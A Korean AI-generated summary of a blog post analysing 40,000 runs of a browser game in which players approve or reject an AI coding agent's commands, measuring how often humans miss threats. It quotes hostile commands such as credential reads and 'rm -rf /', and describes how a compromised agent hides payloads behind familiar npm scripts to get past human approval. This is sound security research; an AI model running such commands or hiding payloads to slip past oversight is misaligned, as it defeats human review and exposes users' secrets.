
4만 번의 게임 실행 결과, 인간은 AI 에이전트 명령 승인 과정에서 3개 중 1개의 위협을 놓쳤다
요약
AI 코딩 에이전트의 명령을 승인하는 'human-in-the-loop' 과정에서 인간이 보안 위협을 놓치는 양상을 분석한 실험 결과입니다. 4만 번의 게임 실행 데이터를 통해 인간이 보안 위협의 약 33%를 식별하지 못함을 확인했습니다.
핵심 포인트
- 인간은 AI 에이전트의 보안 위협 중 평균 33.7%를 놓침
- 자격 증명 유출과 같은 명령은 파괴적 명령보다 3배 더 자주 놓쳐짐
- npm run과 같이 평소 무해한 명령에 숨겨진 위협을 식별하는 데 취약함
- 사용자가 권한 요청 프롬프트의 히스토리 로그를 주의 깊게 읽지 않는 경향이 있음
목차
몇 달 전 저는 작은 브라우저 게임을 출시했습니다. 플레이어는 AI 코딩 에이전트의 'human-in-the-loop(인간 참여형)'가 되어, 시간 압박 속에서 에이전트의 명령을 승인하거나 거부합니다. 어떤 명령은 일상적(git status, npm test)이지만, 어떤 명령은 에이전트가 해킹당해 사용자의 비밀 정보를 원격 서버로 전송하고 있음을 나타냅니다(cat ~/.aws/credentials). 명령을 실행하는 에이전트와 관련된 위협 및 완화 방법(mitigation)에 대한 자세한 내용은 원문 포스트에서 확인할 수 있습니다.
이 게임은 Hacker News에서 어느 정도 관심을 끌었으며, (안타깝게도 조금 늦게) 통계 기능을 추가한 후 40,000회 이상의 실행과 409,000개의 개별 승인/거부 결정 데이터를 자세히 살펴볼 수 있게 되었습니다. 악성 에이전트에 맞서는 최후의 방어선인 'human-in-the-loop'가 어떻게 대처했는지 알아봅시다.
- 평균적인 플레이어는 3개 중 1개의 위협을 놓쳤습니다 (평균 정확도 66.3%)
- **32.9%**의 세션은 부정적인 점수로 종료되었습니다: 승인된 위협으로 인한 페널티와 차단된 안전한 명령들이 올바르게 수행한 모든 것보다 더 컸습니다.
- **35.2%**의 플레이어는 모든 위협을 잡아냈지만, 안전한 명령을 5개 중 최대 1개까지만 차단하면서 이를 달성한 비율은 **20.8%**에 불과했습니다. 나머지는 모든 것을 차단함으로써(이 경우 "Human Bottleneck" 타이틀을 부여함) 부분적으로 달성했습니다.
- **7%**는 모든 프롬프트를 승인했습니다:
--dangerously-skip-permissions의 열렬한 팬들입니다.
작은 주의사항: 이것은 게임이었으며, 플레이어가 본 명령의 약 34%가 위협이었습니다. 우리의 일상적인 업무에서 이러한 위협은 드물게 나타납니다. 플레이어들은 자신들이 제한된 시간 내의 도전 과제에서 테스트를 받고 있다는 것을 알고 있었습니다. 하지만 아래의 수치들은 위협을 비교하고 위협에 대한 일반적인 인식을 서로 대조하는 데 유용한 통찰을 제공할 수 있습니다.
| 카테고리 | 예시 | 놓칠 확률 (Miss rate) |
|---|---|---|
| 명백한 파괴적 명령 | rm -rf / , chmod -R 777 / | 11.7% |
| ... |
노골적으로 파괴적인 명령은 가장 확실하게 포착됩니다. 실제로 자격 증명(credentials)을 유출하는 명령은 세 배 더 자주 놓쳐집니다.
게임에서 단일 항목 중 가장 많이 놓친 명령은 npm run analyze로, **64.7%**의 확률로 승인되었습니다. 이 명령 자체는 보통 무해합니다. 하지만 npm run이 실제로 수행하는 작업은 프로젝트의 package.json에 정의된 스크립트를 실행하는 것입니다.
이는 번들 분석기 (bundle analyzer)를 실행하는 것과 같은 양성 (benign) 코드일 수도 있고, 이전에 파일에 작성된 주입된 (injected) 코드일 수도 있습니다.
게임은 에이전트의 히스토리 로그 (history log)를 통해 해당 스크립트에 실제로 무엇이 포함되어 있는지 알려줍니다:
1✻ 번들 분석기를 실행하겠습니다 — 프로젝트 스크립트에 이미 설정되어 있습니다.
2 // package.json → scripts
3 "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |
...
플레이어의 3분의 2는 그럼에도 불구하고 이를 승인했으며, 이는 권한 요청 프롬프트 (permission prompt) 바로 위의 히스토리 로그를 주의 깊게 읽지 않을 수 있음을 나타냅니다. 게임에는 이러한 사례가 세 가지 있으며, 이들은 가장 많이 놓친 목록에 등장합니다:
| 명령 (Command) | 놓침 비율 (Miss rate) | 순위 (37개 위협 중) |
|---|---|---|
npm run analyze | 64.7% | 1위 |
npm run setup | 48.0% | 4위 |
npm run deploy | 44.9% | 8위 |
이 세 가지를 합치면, 다른 모든 데이터 유출 (exfiltration) 스타일의 공격에 대한 놓침 비율인 **28.4%**와 대조적으로 **52.5%**의 확률로 놓쳐졌습니다 (n=9,482). 익숙한 스크립트 이름 뒤에 페이로드 (payload)를 숨기는 것은, 페이로드가 히스토리 로그에 표시되더라도 성공률을 대략 두 배로 높입니다.
이는 더 큰 문제의 증상이며, Hacker News 스레드에서 dns_snek이 다음과 같이 잘 표현했습니다:
위험한 행동이 어떻게 무해한 것으로 인식되는지를 보여주는 아주 좋은 사례입니다. 특정 명령을 승인하는 모델 전체가 완전히 말도 안 됩니다 (bonkers).
npm run build = package.json에 작성된 임의의 셸 명령 (shell command) 실행
한편, 에이전트는 승인 없이도 다음과 같은 작업들을 수행할 수 있었습니다:
- 임의의 빌드 명령을 포함하도록
package.json을 수정 build.js에 악성 코드를 심음 (npm run build에 의해 호출됨)node_modules/xyz/index.js에 악성 코드를 심음 (build.js에 의해 임포트됨)
대부분의 경우 안전하지만, 수정된 파일들로 인해 더 이상 안전하지 않게 된 명령들을 사용자에게 검증하도록 요청하는 것은 강력한 보호책이 아닙니다.
Anthropic은 이전에 Claude Code에서 '권한 피로 (permission fatigue)'가 실제로 존재한다고 언급하며 다음과 같이 인용했습니다:
"사용자가 더 많은 승인 요청을 볼수록 각 요청에 기울이는 주의력은 줄어들며, 시간이 지남에 따라 감독 과정에서 훨씬 덜 성실해지게 됩니다."
사용자에게 위협에 대해 경고하는 짧은 게임임에도 불구하고, 게임 실행 종료 시점에 성능이 저하되는 몇 가지 징후를 확인할 수 있습니다:
위 그래프는 세션에 따른 위협 놓침률 (threat miss rate)을 보여주며, 플레이 횟수는 사용자가 완료한 명령의 수에 따라 그룹화되었습니다. 사용자가 완료한 명령 수가 적은 이유는 사용자가 검토하는 데 더 많은 시간을 할애했기 때문일 수도 있고, 혹은 오류 발생 후 페널티로 인해 게임이 몇 초간 멈췄기 때문일 수도 있습니다. 모든 것을 단순히 차단해 버린 사용자들은 모두 제외했습니다.
모든 그룹이 처음 몇 개의 명령(예열 단계?) 동안에는 개선되는 모습을 보이지만, 그 후에는 놓침률 (miss rates)이 다시 상승합니다. 이는 시간이 다 되어가는 압박감 때문에 플레이어가 추가 명령을 수행하려다 실수를 할 가능성이 높아졌기 때문일 수도 있습니다.
다음 명령들은 의도는 무해했으나 일상적으로 차단되었습니다:
npm config set registry https://npm.internal
— **59%**의 확률로 차단됨 (내부 미러 설정)
rm -rf dist/
— **45%**의 확률로 차단됨 (빌드 결과물 삭제, 새로운 빌드 전에 수행하는 것이 흔함)
kill $(lsof -t -i:3000)
— **43%**의 확률로 차단됨 (서버가 리스닝 중인 포트를 해제, 잠재적으로 충돌한 프로세스 때문)
이것이 바로 인간 참여형 (human-in-the-loop) 딜레마의 이면입니다. 사용자에게 실제로는 무해한 명령을 승인하도록 요청하게 되며, 이를 차단하는 과정은 에이전트의 속도를 늦춥니다. 시간이 흐름에 따라 이러한 노이즈는 사용자가 경계심을 풀고 악성 명령을 승인하게 만드는 결과로 이어질 가능성이 높습니다. Anthropic의 ‘Auto Mode’와 같은 기능은 사용자에게 묻기 전에 명령이 안전한지 자동으로 판단하려고 시도함으로써 이를 완화하려 노력하지만, 이전 포스트에서 언급했듯이 완벽하지는 않습니다.
cat ~/.zshrc
는 플레이어의 **45.9%**가 승인했으며, 게임 내에서 가장 의견이 갈린 명령이었습니다. (Hacker News에서 제기된) 이의 제기는 타당합니다. 많은 개발자가 셸 프로필 (shell profile)에 비밀을 남겨두지 않으므로, 그들에게는 이것이 무해할 수 있습니다. 하지만 그곳에 API 키를 내보내는(export) 많은 이들에게 이것은 자격 증명 노출 (credential disclosure)입니다. 이 명령의 위험성은 전적으로 에이전트가 볼 수 없는 설정에 달려 있습니다. 대신 .zshrc에서 별도의 비밀 파일 (secrets file)을 source 한다면, 에이전트가 더 많은 권한을 얻게 될 위험을 줄일 수 있습니다.
저는 인간 참여형 (human-in-the-loop)에 관한 토론을 지켜보고, 그 과정에서 권한 모델 (permission models)에 대해 더 많이 배우는 것을 즐겼습니다. 비록 단순한 게임일 뿐이지만, AI 코딩 에이전트의 안전장치로서 인간 참여형 (human-in-the-loop) 방식이 가진 여러 문제점을 보여준다고 생각합니다. 높은 수준의 노이즈는 피로를 유발하며, 개발자들은 무엇이 변경되었는지에 대한 맥락을 항상 파악하고 있는 것은 아니기에 위험을 빠르게 판단하기 어렵습니다.
개발자로서 우리는 다양한 권한 모델의 트레이드오프 (trade-offs)에 매우 익숙해져야 하며, 샌드박싱 (sandboxing)을 적용하거나 자격 증명 및 환경 변수 비밀 (env var secrets)을 분리하는 것과 같이 관련된 위험을 줄이는 방법을 알아야 합니다. 원문 포스트에서 이러한 실질적인 완화 방법 중 일부를 다루고 있습니다.
게임에서 운을 시험해보고 싶다면 여기서 찾을 수 있습니다: https://llmgame.scalex.dev
AI 자동 생성 콘텐츠
본 콘텐츠는 HN AI Posts의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기